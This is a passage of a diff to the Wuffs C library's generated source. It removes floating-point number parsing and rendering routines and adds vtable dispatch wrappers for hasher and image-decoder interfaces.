'9'); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_u32__update( ++ wuffs_base__hasher_u32* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // +-wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { +- // In practice, almost all "dd.ddddE±xxx" numbers can be represented +- // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 +- // exponent, adjusting "xxx" for the position (if present) of the decimal +- // separator '.' or ','. +- // +- // This (u64 man, i32 exp10) data structure is superficially similar to the +- // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent +- // here is base-10, not base-2. +- // +- // If s's number fits in a (man, exp10), parse that pair with the +- // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with +- // the fallback algorithm is slower but comprehensive. +- // +- // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" +- // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). +- // Florian Loitsch is also the primary contributor to +- // https://github.com/google/double-conversion +- do { +- // Calculating that (man, exp10) pair needs to stay within s's bounds. +- // Provided that s isn't extremely long, work on a NUL-terminated copy of +- // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". +- // +- // As the pointer p walks the contents, it's faster to repeatedly check "is +- // *p a valid digit" than "is p within bounds and *p a valid digit". +- if (s.len >= 256) { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- uint8_t z[256]; +- memcpy(&z[0], s.ptr, s.len); +- z[s.len] = 0; +- const uint8_t* p = &z[0]; ++ v++; ++ } + +- // Look for a leading minus sign. Technically, we could also look for an +- // optional plus sign, but the "script/process-json-numbers.c with -p" +- // benchmark is noticably slower if we do. It's optional and, in practice, +- // usually absent. Let the fallback catch it. +- bool negative = (*p == '-'); +- if (negative) { +- p++; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- // After walking "dd.dddd", comparing p later with p now will produce the +- // number of "d"s and "."s. +- const uint8_t* const start_of_digits_ptr = p; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__hasher_u32__update_u32( ++ wuffs_base__hasher_u32* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return 0; ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; ++ } + +- // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', +- // it must be a single '0'. If it starts with a non-zero decimal digit, it +- // can be a sequence of decimal digits. +- // +- // Update the man variable during the walk. It's OK if man overflows now. +- // We'll detect that later. +- uint64_t man; +- if (*p == '0') { +- man = 0; +- p++; +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- } else if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- man = ((uint8_t)(*p - '0')); +- p++; +- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { +- man = (10 * man) + ((uint8_t)(*p - '0')); +- } +- } else { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_u32)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Walk the "d"s after the optional decimal separator ('.' or ','), +- // updating the man and exp10 variables. +- int32_t exp10 = 0; +- if (*p == +- ((options & WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- const uint8_t* first_after_separator_ptr = p; +- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- man = (10 * man) + ((uint8_t)(*p - '0')); +- p++; +- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { +- man = (10 * man) + ((uint8_t)(*p - '0')); +- } +- exp10 = ((int32_t)(first_after_separator_ptr - p)); +- } ++ return 0; ++} + +- // Count the number of digits: +- // - for an input of "314159", digit_count is 6. +- // - for an input of "3.14159", digit_count is 7. +- // +- // This is off-by-one if there is a decimal separator. That's OK for now. +- // We'll correct for that later. The "script/process-json-numbers.c with +- // -p" benchmark is noticably slower if we try to correct for that now. +- uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); ++// -------- + +- // Update exp10 for the optional exponent, starting with 'E' or 'e'. +- if ((*p | 0x20) == 'e') { +- p++; +- int32_t exp_sign = +1; +- if (*p == '-') { +- p++; +- exp_sign = -1; +- } else if (*p == '+') { +- p++; +- } +- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- int32_t exp_num = ((uint8_t)(*p - '0')); +- p++; +- // The rest of the exp_num walking has a peculiar control flow but, once +- // again, the "script/process-json-numbers.c with -p" benchmark is +- // sensitive to alternative formulations. +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- while (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- if (exp_num > 0x1000000) { +- goto fallback; +- } +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- exp10 += exp_sign * exp_num; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__checksum_u64( ++ const wuffs_base__hasher_u64* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // The Wuffs API is that the original slice has no trailing data. It also +- // allows underscores, which we don't catch here but the fallback should. +- if (p != &z[s.len]) { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_u64)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Check that the uint64_t typed man variable has not overflowed, based on +- // digit_count. +- // +- // For reference: +- // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. +- // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. +- // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 +- // bits and 16 hexadecimal digits. +- // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 +- // bits and 17 hexadecimal digits. +- if (digit_count > 19) { +- // Even if we have more than 19 pseudo-digits, it's not yet definitely an +- // overflow. Recall that digit_count might be off-by-one (too large) if +- // there's a decimal separator. It will also over-report the number of +- // meaningful digits if the input looks something like "0.000dddExxx". +- // +- // We adjust by the number of leading '0's and '.'s and re-compare to 19. +- // Once again, technically, we could skip ','s too, but that perturbs the +- // "script/process-json-numbers.c with -p" benchmark. +- const uint8_t* q = start_of_digits_ptr; +- for (; (*q == '0') || (*q == '.'); q++) { +- } +- digit_count -= (uint32_t)(q - start_of_digits_ptr); +- if (digit_count > 19) { +- goto fallback; +- } +- } ++ return 0; ++} + +- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire +- // preconditions include that exp10 is in the range [-307 ..= 288]. +- if ((exp10 < -307) || (288 < exp10)) { +- goto fallback; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__get_quirk( ++ const wuffs_base__hasher_u64* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // If both man and (10 ** exp10) are exactly representable by a double, we +- // don't need to run the Eisel-Lemire algorithm. +- if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { +- double d = (double)man; +- if (exp10 >= 0) { +- d *= wuffs_base__private_implementation__f64_powers_of_10[+exp10]; +- } else { +- d /= wuffs_base__private_implementation__f64_powers_of_10[-exp10]; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = negative ? -d : +d; +- return ret; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire +- // preconditions include that man is non-zero. Parsing "0" should be caught +- // by the "If both man and (10 ** exp10)" above, but "0e99" might not. +- if (man == 0) { +- goto fallback; +- } ++ return 0; ++} + +- // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. +- int64_t r = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man, exp10); +- if (r < 0) { +- goto fallback; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- ((uint64_t)r) | (((uint64_t)negative) << 63)); +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_u64__set_quirk( ++ wuffs_base__hasher_u64* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-fallback: +- do { +- wuffs_base__private_implementation__high_prec_dec h; +- wuffs_base__status status = +- wuffs_base__private_implementation__high_prec_dec__parse(&h, s, +- options); +- if (status.repr) { +- return wuffs_base__private_implementation__parse_number_f64_special( +- s, options); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- return wuffs_base__private_implementation__high_prec_dec__to_f64(&h, +- options); +- } while (0); +-} ++ v++; ++ } + +-// -------- ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-static inline size_t // +-wuffs_base__private_implementation__render_inf(wuffs_base__slice_u8 dst, +- bool neg, +- uint32_t options) { +- if (neg) { +- if (dst.len < 4) { +- return 0; +- } +- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. +- return 4; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_u64__update( ++ wuffs_base__hasher_u64* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- if (dst.len < 4) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. +- return 4; ++ v++; + } + +- if (dst.len < 3) { +- return 0; +- } +- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. +- return 3; ++ return wuffs_base__make_empty_struct(); + } + +-static inline size_t // +-wuffs_base__private_implementation__render_nan(wuffs_base__slice_u8 dst) { +- if (dst.len < 3) { ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__update_u64( ++ wuffs_base__hasher_u64* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { + return 0; + } +- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. +- return 3; +-} +- +-static size_t // +-wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( +- wuffs_base__slice_u8 dst, +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t precision, +- uint32_t options) { +- size_t n = (h->negative || +- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) +- ? 1 +- : 0; +- if (h->decimal_point <= 0) { +- n += 1; +- } else { +- n += (size_t)(h->decimal_point); +- } +- if (precision > 0) { +- n += precision + 1; // +1 for the '.'. ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; + } + +- // Don't modify dst if the formatted number won't fit. +- if (n > dst.len) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_u64)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Align-left or align-right. +- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? &dst.ptr[dst.len - n] +- : &dst.ptr[0]; ++ return 0; ++} + +- // Leading "±". +- if (h->negative) { +- *ptr++ = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- *ptr++ = '+'; +- } ++// -------- + +- // Integral digits. +- if (h->decimal_point <= 0) { +- *ptr++ = '0'; +- } else { +- uint32_t m = +- wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); +- uint32_t i = 0; +- for (; i < m; i++) { +- *ptr++ = (uint8_t)('0' | h->digits[i]); +- } +- for (; i < (uint32_t)(h->decimal_point); i++) { +- *ptr++ = '0'; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__checksum_bitvec256( ++ const wuffs_base__hasher_bitvec256* self) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- // Separator and then fractional digits. +- if (precision > 0) { +- *ptr++ = +- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.'; +- uint32_t i = 0; +- for (; i < precision; i++) { +- uint32_t j = ((uint32_t)(h->decimal_point)) + i; +- *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_bitvec256)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- return n; ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +-static size_t // +-wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- wuffs_base__slice_u8 dst, +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t precision, +- uint32_t options) { +- int32_t exp = 0; +- if (h->num_digits > 0) { +- exp = h->decimal_point - 1; +- } +- bool negative_exp = exp < 0; +- if (negative_exp) { +- exp = -exp; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_bitvec256__get_quirk( ++ const wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; + } +- +- size_t n = (h->negative || +- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) +- ? 4 +- : 3; // Mininum 3 bytes: first digit and then "e±". +- if (precision > 0) { +- n += precision + 1; // +1 for the '.'. ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } +- n += (exp < 100) ? 2 : 3; + +- // Don't modify dst if the formatted number won't fit. +- if (n > dst.len) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Align-left or align-right. +- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? &dst.ptr[dst.len - n] +- : &dst.ptr[0]; ++ return 0; ++} + +- // Leading "±". +- if (h->negative) { +- *ptr++ = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- *ptr++ = '+'; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_bitvec256__set_quirk( ++ wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- +- // Integral digit. +- if (h->num_digits > 0) { +- *ptr++ = (uint8_t)('0' | h->digits[0]); +- } else { +- *ptr++ = '0'; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // Separator and then fractional digits. +- if (precision > 0) { +- *ptr++ = +- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.'; +- uint32_t i = 1; +- uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); +- for (; i < j; i++) { +- *ptr++ = (uint8_t)('0' | h->digits[i]); +- } +- for (; i <= precision; i++) { +- *ptr++ = '0'; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- // Exponent: "e±" and then 2 or 3 digits. +- *ptr++ = 'e'; +- *ptr++ = negative_exp ? '-' : '+'; +- if (exp < 10) { +- *ptr++ = '0'; +- *ptr++ = (uint8_t)('0' | exp); +- } else if (exp < 100) { +- *ptr++ = (uint8_t)('0' | (exp / 10)); +- *ptr++ = (uint8_t)('0' | (exp % 10)); +- } else { +- int32_t e = exp / 100; +- exp -= e * 100; +- *ptr++ = (uint8_t)('0' | e); +- *ptr++ = (uint8_t)('0' | (exp / 10)); +- *ptr++ = (uint8_t)('0' | (exp % 10)); +- } +- +- return n; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, +- double x, +- uint32_t precision, +- uint32_t options) { +- // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits +- // with a -1023 bias) and mantissa (52 bits). +- uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); +- bool neg = (bits >> 63) != 0; +- int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; +- uint64_t man = bits & 0x000FFFFFFFFFFFFFul; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_bitvec256__update( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +- // Apply the exponent bias and set the implicit top bit of the mantissa, +- // unless x is subnormal. Also take care of Inf and NaN. +- if (exp2 == 0x7FF) { +- if (man != 0) { +- return wuffs_base__private_implementation__render_nan(dst); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- return wuffs_base__private_implementation__render_inf(dst, neg, options); +- } else if (exp2 == 0) { +- exp2 = -1022; +- } else { +- exp2 -= 1023; +- man |= 0x0010000000000000ul; ++ v++; + } + +- // Ensure that precision isn't too large. +- if (precision > 4095) { +- precision = 4095; ++ return wuffs_base__make_empty_struct(); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__update_bitvec256( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- // Convert from the (neg, exp2, man) tuple to an HPD. +- wuffs_base__private_implementation__high_prec_dec h; +- wuffs_base__private_implementation__high_prec_dec__assign(&h, man, neg); +- if (h.num_digits > 0) { +- wuffs_base__private_implementation__high_prec_dec__lshift( +- &h, exp2 - 52); // 52 mantissa bits. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_bitvec256)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Handle the "%e" and "%f" formats. +- switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | +- WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { +- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; +- precision = ((uint32_t)(wuffs_base__i32__max(0, p))); +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision) + h.decimal_point); +- } +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( +- dst, &h, precision, options); ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++} + +- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision) + 1); +- } +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- dst, &h, precision, options); ++// -------- ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_frame( ++ wuffs_base__image_decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // We have the "%g" format and so precision means the number of significant +- // digits, not the number of digits after the decimal separator. Perform +- // rounding and determine whether to use "%e" or "%f". +- int32_t e_threshold = 0; +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- precision = h.num_digits; +- e_threshold = 6; +- } else { +- if (precision == 0) { +- precision = 1; +- } +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision)); +- e_threshold = ((int32_t)precision); +- int32_t nd = ((int32_t)(h.num_digits)); +- if ((e_threshold > nd) && (nd >= h.decimal_point)) { +- e_threshold = nd; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- // Use the "%e" format if the exponent is large. +- int32_t e = h.decimal_point - 1; +- if ((e < -4) || (e_threshold <= e)) { +- uint32_t p = wuffs_base__u32__min(precision, h.num_digits); +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- dst, &h, (p > 0) ? (p - 1) : 0, options); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_frame_config( ++ wuffs_base__image_decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // Use the "%f" format otherwise. +- int32_t p = ((int32_t)precision); +- if (p > h.decimal_point) { +- p = ((int32_t)(h.num_digits)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } +- precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( 